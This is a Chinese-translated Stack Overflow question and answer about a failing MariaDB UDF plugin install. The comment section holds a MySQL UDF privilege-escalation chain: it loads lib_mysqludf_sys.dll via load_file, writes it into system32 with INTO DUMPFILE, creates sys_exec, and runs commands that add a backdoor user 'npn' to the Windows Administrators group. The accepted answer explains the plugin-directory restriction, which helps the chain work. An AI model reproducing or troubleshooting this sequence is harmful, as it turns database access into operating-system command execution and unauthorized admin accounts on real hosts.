php - 我正在尝试在 mysql 中安装 udf 插件但出现错误

标签 php mysql mariadb

我正在尝试在 mysql 中安装 udf 插件,但此查询出现错误

MariaDB [mysql]> CREATE FUNCTION sys_exec
   RETURNS integer SONAME 'lib_mysqludf_s ys_32.dll';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_32.dll' (errno: 0, )

(来自评论:)

USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_‌​sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

最佳答案

UDF 不从 C:\windows\system32 加载,仅从插件目录加载。使用“SELECT @@plugin_dir”检查它在您的安装中的位置。

关于php - 我正在尝试在 mysql 中安装 udf 插件但出现错误,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40740862/

相关文章:

mysql - 联合引擎复制数据库或指向另一个数据库连接中的表

mysql - mysqldump 文件去哪里?

php - Yii 配置文件覆盖

php - 从数组中选择 3 个不同的随机值

c# - 无法在其他计算机上加载 mysql.data

mysql key '1' 的重复条目 'PRIMARY'

mysql - 两个 mariadb 实例在 docker 中使用相同的持久存储

mysql - SQLSTATE [HY000] : General error: 1835 Malformed communication packet on LARAVEL

php - 如何在codeigniter中禁用ONLY_FULL_GROUP_BY?

php - 从另一台服务器保存表单数据